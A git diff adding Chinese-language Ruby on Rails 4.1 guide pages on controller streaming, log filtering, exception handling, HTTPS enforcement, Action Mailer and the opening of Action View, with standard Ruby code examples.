+    @client = Client.find(params[:id])
+
+    respond_to do |format|
+      format.html
+      format.pdf { render pdf: generate_pdf(@client) }
+    end
+  end
+end
+
+
+
+

为了让这段代码能顺利运行,要把 PDF MIME 加入 Rails。在 config/initializers/mime_types.rb 文件中加入下面这行代码即可:

+
+Mime::Type.register "application/pdf", :pdf
+
+
+
+

设置文件不会在每次请求中都重新加载,所以为了让改动生效,需要重启服务器。

现在客户端请求 PDF 版本,只要在 URL 后加上 ".pdf" 即可:

+
+GET /clients/1.pdf
+
+
+
+

12.3 任意数据的实时流

在 Rails 中,不仅文件可以使用数据流的方式处理,在响应对象中,任何数据都可以视作数据流。ActionController::Live 模块可以和浏览器建立持久连接,随时随地把数据传送给浏览器。

12.3.1 使用实时流

ActionController::Live 模块引入控制器中后,所有的动作都可以处理数据流。

+
+class MyController < ActionController::Base
+  include ActionController::Live
+
+  def stream
+    response.headers['Content-Type'] = 'text/event-stream'
+    100.times {
+      response.stream.write "hello world\n"
+      sleep 1
+    }
+  ensure
+    response.stream.close
+  end
+end
+
+
+
+

上面的代码会和浏览器建立持久连接,每秒一次,共发送 100 次 "hello world\n"

关于这段代码有一些注意事项。必须关闭响应数据流。如果忘记关闭,套接字就会一直处于打开状态。发送数据流之前,还要把内容类型设为 text/event-stream。因为响应发送后(response.committed 返回真值后)就无法设置报头了。

12.3.2 使用举例

架设你在制作一个卡拉 OK 机,用户想查看某首歌的歌词。每首歌(Song)都有很多行歌词,每一行歌词都要花一些时间(num_beats)才能唱完。

如果按照卡拉 OK 机的工作方式,等上一句唱完才显示下一行,就要使用 ActionController::Live

+
+class LyricsController < ActionController::Base
+  include ActionController::Live
+
+  def show
+    response.headers['Content-Type'] = 'text/event-stream'
+    song = Song.find(params[:id])
+
+    song.each do |line|
+      response.stream.write line.lyrics
+      sleep line.num_beats
+    end
+  ensure
+    response.stream.close
+  end
+end
+
+
+
+

在这段代码中,只有上一句唱完才会发送下一句歌词。

12.3.3 使用数据流时的注意事项

以数据流的方式发送任意数据是个强大的功能,如前面几个例子所示,你可以选择何时发送什么数据。不过,在使用时,要注意以下事项:

+
    +
  • 每次以数据流形式发送响应时都会新建一个线程,然后把原线程中的本地变量复制过来。线程中包含太多的本地变量会降低性能。而且,线程太多也会影响性能。
  • +
  • 忘记关闭响应流会导致套接字一直处于打开状态。使用响应流时一定要记得调用 close 方法。
  • +
  • WEBrick 会缓冲所有响应,因此引入 ActionController::Live 也不会有任何效果。你应该使用不自动缓冲响应的服务器。
  • +
+

13 过滤日志

Rails 在 log 文件夹中为每个环境都准备了一个日志文件。这些文件在调试时特别有用,但上线后的程序并不用把所有信息都写入日志。

13.1 过滤参数

要想过滤特定的请求参数,禁止写入日志文件,可以在程序的设置文件中设置 config.filter_parameters 选项。过滤掉得参数在日志中会显示为 [FILTERED]

+
+config.filter_parameters << :password
+
+
+
+

13.2 过滤转向

有时需要从日志文件中过滤掉一些程序转向的敏感数据,此时可以设置 config.filter_redirect 选项:

+
+config.filter_redirect << 's3.amazonaws.com'
+
+
+
+

可以使用字符串,正则表达式,或者一个数组,包含字符串或正则表达式:

+
+config.filter_redirect.concat ['s3.amazonaws.com', /private_path/]
+
+
+
+

匹配的 URL 会显示为 '[FILTERED]'

14 异常处理

程序很有可能有错误,错误发生时会抛出异常,这些异常是需要处理的。例如,如果用户访问一个连接,但数据库中已经没有对应的资源了,此时 Active Record 会抛出 ActiveRecord::RecordNotFound 异常。

在 Rails 中,异常的默认处理方式是显示“500 Internal Server Error”消息。如果程序在本地运行,出错后会显示一个精美的调用堆栈,以及其他附加信息,让开发者快速找到错误的地方,然后修正。如果程序已经上线,Rails 则会简单的显示“500 Server Error”消息,如果是路由错误或记录不存在,则显示“404 Not Found”。有时你可能想换种方式捕获错误,以及如何显示报错信息。在 Rails 中,有很多层异常处理,详解如下。

14.1 默认的 500 和 404 模板

默认情况下,如果程序错误,会显示 404 或者 500 错误消息。错误消息在 public 文件夹中的静态 HTML 文件中,分别是 404.html500.html。你可以修改这两个文件,添加其他信息或布局,不过要记住,这两个是静态文件,不能使用 RHTML,只能写入纯粹的 HTML。

14.2 rescue_from +

捕获错误后如果想做更详尽的处理,可以使用 rescue_formrescue_from 可以处理整个控制器及其子类中的某种(或多种)异常。

异常发生时,会被 rescue_from 捕获,异常对象会传入处理代码。处理异常的代码可以是方法,也可以是 Proc 对象,由 :with 选项指定。也可以不用 Proc 对象,直接使用块。

下面的代码使用 rescue_from 截获所有 ActiveRecord::RecordNotFound 异常,然后做相应的处理。

+
+class ApplicationController < ActionController::Base
+  rescue_from ActiveRecord::RecordNotFound, with: :record_not_found
+
+  private
+
+    def record_not_found
+      render plain: "404 Not Found", status: 404
+    end
+end
+
+
+
+

这段代码对异常的处理并不详尽,比默认的处理也没好多少。不过只要你能捕获异常,就可以做任何想做的处理。例如,可以新建一个异常类,用户无权查看页面时抛出:

+
+class ApplicationController < ActionController::Base
+  rescue_from User::NotAuthorized, with: :user_not_authorized
+
+  private
+
+    def user_not_authorized
+      flash[:error] = "You don't have access to this section."
+      redirect_to :back
+    end
+end
+
+class ClientsController < ApplicationController
+  # Check that the user has the right authorization to access clients.
+  before_action :check_authorization
+
+  # Note how the actions don't have to worry about all the auth stuff.
+  def edit
+    @client = Client.find(params[:id])
+  end
+
+  private
+
+    # If the user is not authorized, just throw the exception.
+    def check_authorization
+      raise User::NotAuthorized unless current_user.admin?
+    end
+end
+
+
+
+

某些异常只能在 ApplicationController 中捕获,因为在异常抛出前控制器还没初始化,动作也没执行。详情参见 Pratik Naik 的文章

15 强制使用 HTTPS 协议

有时,基于安全考虑,可能希望某个控制器只能通过 HTTPS 协议访问。为了达到这个目的,可以在控制器中使用 force_ssl 方法:

+
+class DinnerController
+  force_ssl
+end
+
+
+
+

和过滤器类似,也可指定 :only:except 选项,设置只在某些动作上强制使用 HTTPS:

+
+class DinnerController
+  force_ssl only: :cheeseburger
+  # or
+  force_ssl except: :cheeseburger
+end
+
+
+
+

注意,如果你在很多控制器中都使用了 force_ssl,或许你想让整个程序都使用 HTTPS。此时,你可以在环境设置文件中设置 config.force_ssl 选项。

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/action_mailer_basics.html b/v4.1/action_mailer_basics.html new file mode 100644 index 0000000..e0eb8ff --- /dev/null +++ b/v4.1/action_mailer_basics.html @@ -0,0 +1,770 @@ + + + + + + + +Action Mailer 基础 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Action Mailer 基础

本文全面介绍如何在程序中收发邮件,Action Mailer 的内部机理,以及如何测试“邮件程序”(mailer)。

读完本文,你将学到:

+
    +
  • 如何在 Rails 程序内收发邮件;
  • +
  • 如何生成及编辑 Action Mailer 类和邮件视图;
  • +
  • 如何设置 Action Mailer;
  • +
  • 如何测试 Action Mailer 类;
  • +
+ + + + +
+
+ +
+
+
+

1 简介

Rails 使用 Action Mailer 实现发送邮件功能,邮件由邮件程序和视图控制。邮件程序继承自 ActionMailer::Base,作用和控制器类似,保存在文件夹 app/mailers 中,对应的视图保存在文件夹 app/views 中。

2 发送邮件

本节详细介绍如何创建邮件程序及对应的视图。

2.1 生成邮件程序的步骤

2.1.1 创建邮件程序
+
+$ rails generate mailer UserMailer
+create  app/mailers/user_mailer.rb
+invoke  erb
+create    app/views/user_mailer
+invoke  test_unit
+create    test/mailers/user_mailer_test.rb
+
+
+
+

如上所示,生成邮件程序的方法和使用其他生成器一样。邮件程序在某种程度上就是控制器。执行上述命令后,生成了一个邮件程序,一个视图文件夹和一个测试文件。

如果不想使用生成器,可以手动在 app/mailers 文件夹中新建文件,但要确保继承自 ActionMailer::Base

+
+class MyMailer < ActionMailer::Base
+end
+
+
+
+
2.1.2 编辑邮件程序

邮件程序和控制器类似,也有称为“动作”的方法,以及组织内容的视图。控制器生成的内容,例如 HTML,发送给客户端;邮件程序生成的消息则通过电子邮件发送。

文件 app/mailers/user_mailer.rb 中有一个空的邮件程序:

+
+class UserMailer < ActionMailer::Base
+  default from: 'from@example.com'
+end
+
+
+
+

下面我们定义一个名为 welcome_email 的方法,向用户的注册 Email 中发送一封邮件:

+
+class UserMailer < ActionMailer::Base
+  default from: 'notifications@example.com'
+
+  def welcome_email(user)
+    @user = user
+    @url  = 'http://example.com/login'
+    mail(to: @user.email, subject: 'Welcome to My Awesome Site')
+  end
+end
+
+
+
+

简单说明一下这段代码。可用选项的详细说明请参见“Action Mailer 方法”一节。

+
    +
  • +default:一个 Hash,该邮件程序发出邮件的默认设置。上例中我们把 :from 邮件头设为一个值,这个类中的所有动作都会使用这个值,不过可在具体的动作中重设。
  • +
  • +mail:用于发送邮件的方法,我们传入了 :to:subject 邮件头。
  • +
+

和控制器一样,动作中定义的实例变量可以在视图中使用。

2.1.3 创建邮件程序的视图

在文件夹 app/views/user_mailer/ 中新建文件 welcome_email.html.erb。这个视图是邮件的模板,使用 HTML 编写:

+
+<!DOCTYPE html>
+<html>
+  <head>
+    <meta content='text/html; charset=UTF-8' http-equiv='Content-Type' />
+  </head>
+  <body>
+    <h1>Welcome to example.com, <%= @user.name %></h1>
+    <p>
+      You have successfully signed up to example.com,
+      your username is: <%= @user.login %>.<br>
+    </p>
+    <p>
+      To login to the site, just follow this link: <%= @url %>.
+    </p>
+    <p>Thanks for joining and have a great day!</p>
+  </body>
+</html>
+
+
+
+

我们再创建一个纯文本视图。因为并不是所有客户端都可以显示 HTML 邮件,所以最好发送两种格式。在文件夹 app/views/user_mailer/ 中新建文件 welcome_email.text.erb,写入以下代码:

+
+Welcome to example.com, <%= @user.name %>
+===============================================
+
+You have successfully signed up to example.com,
+your username is: <%= @user.login %>.
+
+To login to the site, just follow this link: <%= @url %>.
+
+Thanks for joining and have a great day!
+
+
+
+

调用 mail 方法后,Action Mailer 会检测到这两个模板(纯文本和 HTML),自动生成一个类型为 multipart/alternative 的邮件。

2.1.4 调用邮件程序

其实,邮件程序就是渲染视图的另一种方式,只不过渲染的视图不通过 HTTP 协议发送,而是通过 Email 协议发送。因此,应该由控制器调用邮件程序,在成功注册用户后给用户发送一封邮件。过程相当简单。

首先,生成一个简单的 User 脚手架:

+
+$ rails generate scaffold user name email login
+$ rake db:migrate
+
+
+
+

这样就有一个可用的用户模型了。我们需要编辑的是文件 app/controllers/users_controller.rb,修改 create 动作,成功保存用户后调用 UserMailer.welcome_email 方法,向刚注册的用户发送邮件:

+
+class UsersController < ApplicationController
+  # POST /users
+  # POST /users.json
+  def create
+    @user = User.new(params[:user])
+
+    respond_to do |format|
+      if @user.save
+        # Tell the UserMailer to send a welcome email after save
+        UserMailer.welcome_email(@user).deliver
+
+        format.html { redirect_to(@user, notice: 'User was successfully created.') }
+        format.json { render json: @user, status: :created, location: @user }
+      else
+        format.html { render action: 'new' }
+        format.json { render json: @user.errors, status: :unprocessable_entity }
+      end
+    end
+  end
+end
+
+
+
+

welcome_email 方法返回 Mail::Message 对象,在其上调用 deliver 方法发送邮件。

2.2 自动编码邮件头

Action Mailer 会自动编码邮件头和邮件主体中的多字节字符。

更复杂的需求,例如使用其他字符集和自编码文字,请参考 Mail 库的用法。

2.3 Action Mailer 方法

下面这三个方法是邮件程序中最重要的方法:

+
    +
  • +headers:设置邮件头,可以指定一个由字段名和值组成的 Hash,或者使用 headers[:field_name] = 'value' 形式;
  • +
  • +attachments:添加邮件的附件,例如,attachments['file-name.jpg'] = File.read('file-name.jpg')
  • +
  • +mail:发送邮件,传入的值为 Hash 形式的邮件头,mail 方法负责创建邮件内容,纯文本或多种格式,取决于定义了哪种邮件模板;
  • +
+
2.3.1 添加附件

在 Action Mailer 中添加附件十分方便。

+
    +
  • +

    传入文件名和内容,Action Mailer 和 Mail gem 会自动猜测附件的 MIME 类型,设置编码并创建附件。

    +
    +
    +attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
    +
    +
    +
    +

    触发 mail 方法后,会发送一个由多部分组成的邮件,附件嵌套在类型为 multipart/mixed 的顶级结构中,其中第一部分的类型为 multipart/alternative,包含纯文本和 HTML 格式的邮件内容。

    +
  • +
+

Mail gem 会自动使用 Base64 编码附件。如果想使用其他编码方式,可以先编码好,再把编码后的附件通过 Hash 传给 attachments 方法。

+
    +
  • +

    传入文件名,指定邮件头和内容,Action Mailer 和 Mail gem 会使用传入的参数添加附件。

    +
    +
    +encoded_content = SpecialEncode(File.read('/path/to/filename.jpg'))
    +attachments['filename.jpg'] = {mime_type: 'application/x-gzip',
    +                               encoding: 'SpecialEncoding',
    +                               content: encoded_content }
    +
    +
    +
    +
  • +
+

如果指定了 encoding 键,Mail 会认为附件已经编码了,不会再使用 Base64 编码附件。

2.3.2 使用行间附件

在 Action Mailer 3.0 中使用行间附件比之前版本简单得多。

+
    +
  • +

    首先,在 attachments 方法上调用 inline 方法,告诉 Mail 这是个行间附件:

    +
    +
    +def welcome
    +  attachments.inline['image.jpg'] = File.read('/path/to/image.jpg')
    +end
    +
    +
    +
    +
  • +
  • +

    在视图中,可以直接使用 attachments 方法,将其视为一个 Hash,指定想要使用的附件,在其上调用 url 方法,再把结果传给 image_tag 方法:

    +
    +
    +<p>Hello there, this is our image</p>
    +
    +<%= image_tag attachments['image.jpg'].url %>
    +
    +
    +
    +
  • +
  • +

    因为我们只是简单的调用了 image_tag 方法,所以和其他图片一样,在附件地址之后,还可以传入选项 Hash:

    +
    +
    +<p>Hello there, this is our image</p>
    +
    +<%= image_tag attachments['image.jpg'].url, alt: 'My Photo',
    +                                            class: 'photos' %>
    +
    +
    +
    +
  • +
+
2.3.3 发给多个收件人

要想把一封邮件发送给多个收件人,例如通知所有管理员有新用户注册网站,可以把 :to 键的值设为一组邮件地址。这一组邮件地址可以是一个数组;也可以是一个字符串,使用逗号分隔各个地址。

+
+class AdminMailer < ActionMailer::Base
+  default to: Proc.new { Admin.pluck(:email) },
+          from: 'notification@example.com'
+
+  def new_registration(user)
+    @user = user
+    mail(subject: "New User Signup: #{@user.email}")
+  end
+end
+
+
+
+

使用类似的方式还可添加抄送和密送,分别设置 :cc:bcc 键即可。

2.3.4 在邮件中显示名字

有时希望收件人在邮件中看到自己的名字,而不只是邮件地址。实现这种需求的方法是把邮件地址写成 "Full Name <email>" 格式。

+
+def welcome_email(user)
+  @user = user
+  email_with_name = "#{@user.name} <#{@user.email}>"
+  mail(to: email_with_name, subject: 'Welcome to My Awesome Site')
+end
+
+
+
+

2.4 邮件程序的视图

邮件程序的视图保存在文件夹 app/views/name_of_mailer_class 中。邮件程序之所以知道使用哪个视图,是因为视图文件名和邮件程序的方法名一致。如前例,welcome_email 方法的 HTML 格式视图是 app/views/user_mailer/welcome_email.html.erb,纯文本格式视图是 welcome_email.text.erb

要想修改动作使用的视图,可以这么做:

+
+class UserMailer < ActionMailer::Base
+  default from: 'notifications@example.com'
+
+  def welcome_email(user)
+    @user = user
+    @url  = 'http://example.com/login'
+    mail(to: @user.email,
+         subject: 'Welcome to My Awesome Site',
+         template_path: 'notifications',
+         template_name: 'another')
+  end
+end
+
+
+
+

此时,邮件程序会在文件夹 app/views/notifications 中寻找名为 another 的视图。template_path 的值可以是一个数组,按照顺序查找视图。

如果想获得更多灵活性,可以传入一个代码块,渲染指定的模板,或者不使用模板,渲染行间代码或纯文本:

+
+class UserMailer < ActionMailer::Base
+  default from: 'notifications@example.com'
+
+  def welcome_email(user)
+    @user = user
+    @url  = 'http://example.com/login'
+    mail(to: @user.email,
+         subject: 'Welcome to My Awesome Site') do |format|
+      format.html { render 'another_template' }
+      format.text { render text: 'Render text' }
+    end
+  end
+end
+
+
+
+

上述代码会使用 another_template.html.erb 渲染 HTML,使用 'Render text' 渲染纯文本。这里用到的 render 方法和控制器中的一样,所以选项也都是一样的,例如 :text:inline 等。

2.5 Action Mailer 布局

和控制器一样,邮件程序也可以使用布局。布局的名字必须和邮件程序类一样,例如 user_mailer.html.erbuser_mailer.text.erb 会自动识别为邮件程序的布局。

如果想使用其他布局文件,可以在邮件程序中调用 layout 方法:

+
+class UserMailer < ActionMailer::Base
+  layout 'awesome' # use awesome.(html|text).erb as the layout
+end
+
+
+
+

还是跟控制器布局一样,在邮件程序的布局中调用 yield 方法可以渲染视图。

format 代码块中可以把 layout: 'layout_name' 选项传给 render 方法,指定使用其他布局:

+
+class UserMailer < ActionMailer::Base
+  def welcome_email(user)
+    mail(to: user.email) do |format|
+      format.html { render layout: 'my_layout' }
+      format.text
+    end
+  end
+end
+
+
+
+

上述代码会使用文件 my_layout.html.erb 渲染 HTML 格式;如果文件 user_mailer.text.erb 存在,会用来渲染纯文本格式。

2.6 在 Action Mailer 视图中生成 URL

和控制器不同,邮件程序不知道请求的上下文,因此要自己提供 :host 参数。

一个程序的 :host 参数一般是相同的,可以在 config/application.rb 中做全局设置:

+
+config.action_mailer.default_url_options = { host: 'example.com' }
+
+
+
+
2.6.1 使用 url_for 方法生成 URL

使用 url_for 方法时必须指定 only_path: false 选项,这样才能确保生成绝对 URL,因为默认情况下如果不指定 :host 选项,url_for 帮助方法生成的是相对 URL。

+
+<%= url_for(controller: 'welcome',
+            action: 'greeting',
+            only_path: false) %>
+
+
+
+

如果没全局设置 :host 选项,使用 url_for 方法时一定要指定 only_path: false 选项。

+
+<%= url_for(host: 'example.com',
+            controller: 'welcome',
+            action: 'greeting') %>
+
+
+
+

如果指定了 :host 选项,Rails 会生成绝对 URL,没必要再指定 only_path: false

2.6.2 使用具名路由生成 URL

邮件客户端不能理解网页中的上下文,没有生成完整地址的基地址,所以使用具名路由帮助方法时一定要使用 _url 形式。

如果没有设置全局 :host 参数,一定要将其传给 URL 帮助方法。

+
+<%= user_url(http://github.com/@user,%20host:%20'example.com') %>
+
+
+
+

2.7 发送多种格式邮件

如果同一动作有多个模板,Action Mailer 会自动发送多种格式的邮件。例如前面的 UserMailer,如果在 app/views/user_mailer 文件夹中有 welcome_email.text.erbwelcome_email.html.erb 两个模板,Action Mailer 会自动发送 HTML 和纯文本格式的邮件。

格式的顺序由 ActionMailer::Base.default 方法的 :parts_order 参数决定。

2.8 发送邮件时动态设置发送选项

如果在发送邮件时想重设发送选项(例如,SMTP 密令),可以在邮件程序动作中使用 delivery_method_options 方法。

+
+class UserMailer < ActionMailer::Base
+  def welcome_email(user, company)
+    @user = user
+    @url  = user_url(http://github.com/@user)
+    delivery_options = { user_name: company.smtp_user,
+                         password: company.smtp_password,
+                         address: company.smtp_host }
+    mail(to: @user.email,
+         subject: "Please see the Terms and Conditions attached",
+         delivery_method_options: delivery_options)
+  end
+end
+
+
+
+

2.9 不渲染模板

有时可能不想使用布局,直接使用字符串渲染邮件内容,可以使用 :body 选项。但别忘了指定 :content_type 选项,否则 Rails 会使用默认值 text/plain

+
+class UserMailer < ActionMailer::Base
+  def welcome_email(user, email_body)
+    mail(to: user.email,
+         body: email_body,
+         content_type: "text/html",
+         subject: "Already rendered!")
+  end
+end
+
+
+
+

3 接收邮件

使用 Action Mailer 接收和解析邮件做些额外设置。接收邮件之前,要先设置系统,把邮件转发给程序。所以,在 Rails 程序中接收邮件要完成以下步骤:

+
    +
  • 在邮件程序中实现 receive 方法;

  • +
  • 设置邮件服务器,把邮件转发到 /path/to/app/bin/rails runner 'UserMailer.receive(STDIN.read)'

  • +
+

在邮件程序中定义 receive 方法后,Action Mailer 会解析收到的邮件,生成邮件对象,解码邮件内容,实例化一个邮件程序,把邮件对象传给邮件程序的 receive 实例方法。下面举个例子:

+
+class UserMailer < ActionMailer::Base
+  def receive(email)
+    page = Page.find_by(address: email.to.first)
+    page.emails.create(
+      subject: email.subject,
+      body: email.body
+    )
+
+    if email.has_attachments?
+      email.attachments.each do |attachment|
+        page.attachments.create({
+          file: attachment,
+          description: email.subject
+        })
+      end
+    end
+  end
+end
+
+
+
+

4 Action Mailer 回调

在 Action Mailer 中也可设置 before_actionafter_actionaround_action

+
    +
  • 和控制器中的回调一样,可以传入代码块,或者方法名的符号形式;

  • +
  • before_action 中可以使用 defaultsdelivery_method_options 方法,或者指定默认邮件头和附件;

  • +
  • +

    after_action 可以实现类似 before_action 的功能,而且在 after_action 中可以使用实例变量;

    +
    +
    +class UserMailer < ActionMailer::Base
    +  after_action :set_delivery_options,
    +               :prevent_delivery_to_guests,
    +               :set_business_headers
    +
    +  def feedback_message(business, user)
    +    @business = business
    +    @user = user
    +    mail
    +  end
    +
    +  def campaign_message(business, user)
    +    @business = business
    +    @user = user
    +  end
    +
    +  private
    +
    +    def set_delivery_options
    +      # You have access to the mail instance,
    +      # @business and @user instance variables here
    +      if @business && @business.has_smtp_settings?
    +        mail.delivery_method.settings.merge!(@business.smtp_settings)
    +      end
    +    end
    +
    +    def prevent_delivery_to_guests
    +      if @user && @user.guest?
    +        mail.perform_deliveries = false
    +      end
    +    end
    +
    +    def set_business_headers
    +      if @business
    +        headers["X-SMTPAPI-CATEGORY"] = @business.code
    +      end
    +    end
    +end
    +
    +
    +
    +
  • +
  • 如果在回调中把邮件主体设为 nil 之外的值,会阻止执行后续操作;

  • +
+

5 使用 Action Mailer 帮助方法

Action Mailer 继承自 AbstractController,因此为控制器定义的帮助方法都可以在邮件程序中使用。

6 设置 Action Mailer

下述设置选项最好在环境相关的文件(environment.rbproduction.rb 等)中设置。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
设置项说明
logger运行邮件程序时生成日志信息。设为 nil 禁用日志。可设为 Ruby 自带的 LoggerLog4r 库。
smtp_settings设置 :smtp 发送方式的详情。
sendmail_settings设置 :sendmail 发送方式的详情。
raise_delivery_errors如果邮件发送失败,是否抛出异常。仅当外部邮件服务器设置为立即发送才有效。
delivery_method设置发送方式,可设为 :smtp(默认)、:sendmail:file:test。详情参阅 API 文档
perform_deliveries调用 deliver 方法时是否真发送邮件。默认情况下会真的发送,但在功能测试中可以不发送。
deliveries把通过 Action Mailer 使用 :test 方式发送的邮件保存到一个数组中,协助单元测试和功能测试。
default_optionsmail 方法设置默认选项值(:from:reply_to 等)。
+

完整的设置说明参见“设置 Rails 程序”一文中的“设置 Action Mailer”一节。

6.1 Action Mailer 设置示例

可以把下面的代码添加到文件 config/environments/$RAILS_ENV.rb 中:

+
+config.action_mailer.delivery_method = :sendmail
+# Defaults to:
+# config.action_mailer.sendmail_settings = {
+#   location: '/usr/sbin/sendmail',
+#   arguments: '-i -t'
+# }
+config.action_mailer.perform_deliveries = true
+config.action_mailer.raise_delivery_errors = true
+config.action_mailer.default_options = {from: 'no-reply@example.com'}
+
+
+
+

6.2 设置 Action Mailer 使用 Gmail

Action Mailer 现在使用 Mail gem,针对 Gmail 的设置更简单,把下面的代码添加到文件 config/environments/$RAILS_ENV.rb 中即可:

+
+config.action_mailer.delivery_method = :smtp
+config.action_mailer.smtp_settings = {
+  address:              'smtp.gmail.com',
+  port:                 587,
+  domain:               'example.com',
+  user_name:            '<username>',
+  password:             '<password>',
+  authentication:       'plain',
+  enable_starttls_auto: true  }
+
+
+
+

7 测试邮件程序

邮件程序的测试参阅“Rails 程序测试指南”。

8 拦截邮件

有时,在邮件发送之前需要做些修改。Action Mailer 提供了相应的钩子,可以拦截每封邮件。你可以注册一个拦截器,在交给发送程序之前修改邮件。

+
+class SandboxEmailInterceptor
+  def self.delivering_email(message)
+    message.to = ['sandbox@example.com']
+  end
+end
+
+
+
+

使用拦截器之前要在 Action Mailer 框架中注册,方法是在初始化脚本 config/initializers/sandbox_email_interceptor.rb 中添加以下代码:

+
+ActionMailer::Base.register_interceptor(SandboxEmailInterceptor) if Rails.env.staging?
+
+
+
+

上述代码中使用的是自定义环境,名为“staging”。这个环境和生产环境一样,但只做测试之用。关于自定义环境的详细介绍,参阅“新建 Rails 环境”一节。

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/action_view_overview.html b/v4.1/action_view_overview.html new file mode 100644 index 0000000..45ccb0b --- /dev/null +++ b/v4.1/action_view_overview.html @@ -0,0 +1,1608 @@ + + + + + + + +Action View 基础 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Action View 基础

读完本文,你将学到:

+
    +
  • Action View 是什么,如何在 Rails 中使用;
  • +
  • 模板、局部视图和布局的最佳使用方法;
  • +
  • Action View 提供了哪些帮助方法,如何自己编写帮助方法;
  • +
  • 如何使用本地化视图;
  • +
  • 如何在 Rails 之外的程序中使用 Action View;
  • +
+ + + + +
+
+ +
+
+
+

1 Action View 是什么?

Action View 和 Action Controller 是 Action Pack 的两个主要组件。在 Rails 中,请求由 Action Pack 分两步处理,一步交给控制器(逻辑处理),一步交给视图(渲染视图)。一般来说,Action Controller 的作用是和数据库通信,根据需要执行 CRUD 操作;Action View 用来构建响应。

Action View 模板由嵌入 HTML 的 Ruby 代码编写。为了保证模板代码简洁明了,Action View 提供了很多帮助方法,用来构建表单、日期和字符串等。如果需要,自己编写帮助方法也很简单。

Action View 的有些功能和 Active Record 绑定在一起,但并不意味着 Action View 依赖于 Active Record。Action View 是个独立的代码库,可以在任何 Ruby 代码库中使用。

2 在 Rails 中使用 Action View

每个控制器在 app/views 中都对应一个文件夹,用来保存该控制器的模板文件。模板文件的作用是显示控制器动作的视图。

我们来看一下使用脚手架创建资源时,Rails 做了哪些事情:

+
+$ rails generate scaffold post
+      [...]
+      invoke  scaffold_controller
+      create    app/controllers/posts_controller.rb
+      invoke    erb
+      create      app/views/posts
+      create      app/views/posts/index.html.erb
+      create      app/views/posts/edit.html.erb
+      create      app/views/posts/show.html.erb
+      create      app/views/posts/new.html.erb
+      create      app/views/posts/_form.html.erb
+      [...]
+
+
+
+

Rails 中的视图也有命名约定。一般情况下,视图名和对应的控制器动作同名,如上所示。例如,posts_controller.rb 控制器中的 index 动作使用 app/views/posts 文件夹中的 index.html.erb 视图文件。

返回给客户端的完整 HTML 由这个 ERB 文件、布局文件和视图中用到的所有局部视图组成。后文会详细介绍这几种视图文件。

3 模板,局部视图和布局

前面说过,最终输出的 HTML 由三部分组成:模板,局部视图和布局。下面详细介绍各部分。

3.1 模板

Action View 模板可使用多种语言编写。如果模板文件的扩展名是 .erb,使用的是 ERB 和 HTML。如果模板文件的扩展名是 .builder,使用的是 Builder::XmlMarkup

Rails 支持多种模板系统,通过文件扩展名加以区分。例如,使用 ERB 模板系统的 HTML 文件,其扩展名为 .html.erb

3.1.1 ERB

在 ERB 模板中,可以使用 <% %><%= %> 标签引入 Ruby 代码。<% %> 标签用来执行 Ruby 代码,没有返回值,例如条件判断、循环或代码块。<%= %> 用来输出结果。

例如下面的代码,循环遍历名字:

+
+<h1>Names of all the people</h1>
+<% @people.each do |person| %>
+  Name: <%= person.name %><br>
+<% end %>
+
+
+
+

在上述代码中,循环使用普通嵌入标签(<% %>),输出名字时使用输出式嵌入标签(<%= %>)。注意,这并不仅仅是一种使用建议:常规的输出方法,例如 printputs,无法在 ERB 模板中使用。所以,下面这段代码是错误的:

+
+<%# WRONG %>
+Hi, Mr. <% puts "Frodo" %>
+
+
+
+

如果想去掉前后的空白,可以把 <%%> 换成 <%--%>

3.1.2 Builder

Builder 模板比 ERB 模板需要更多的编程,特别适合生成 XML 文档。在扩展名为 .builder 的模板中,可以直接使用名为 xmlXmlMarkup 对象。

下面是个简单的例子:

+
+xml.em("emphasized")
+xml.em { xml.b("emph & bold") }
+xml.a("A Link", "href" => "http://rubyonrails.org/")
+xml.target("name" => "compile", "option" => "fast")
+
+
+
+

输出结果如下:

+
+<em>emphasized</em>
+<em><b>emph &amp; bold</b></em>
+<a href="http://rubyonrails.org/">A link</a>
+<target option="fast" name="compile" />
+
+
+
+

代码块被视为一个 XML 标签,代码块中的标记会嵌入这个标签之中。例如:

+
+xml.div {
+  xml.h1(@person.name)
+  xml.p(@person.bio)
+}
+
+
+
+

输出结果如下:

+
+<div>
+  <h1>David Heinemeier Hansson</h1>
+  <p>A product of Danish Design during the Winter of '79...</p>
+</div>
+
+
+
+

下面这个例子是 Basecamp 用来生成 RSS 的完整代码:

+
+xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
+  xml.channel do
+    xml.title(@feed_title)
+    xml.link(@url)
+    xml.description "Basecamp: Recent items"
+    xml.language "en-us"
+    xml.ttl "40"
+
+    for item in @recent_items
+      xml.item do
+        xml.title(item_title(item))
+        xml.description(item_description(item)) if item_description(item)
+        xml.pubDate(item_pubDate(item))
+        xml.guid(@person.firm.account.url + @recent_items.url(http://github.com/item))
+        xml.link(@person.firm.account.url + @recent_items.url(http://github.com/item))
+        xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
+      end
+    end
+  end
+end
+
+
+
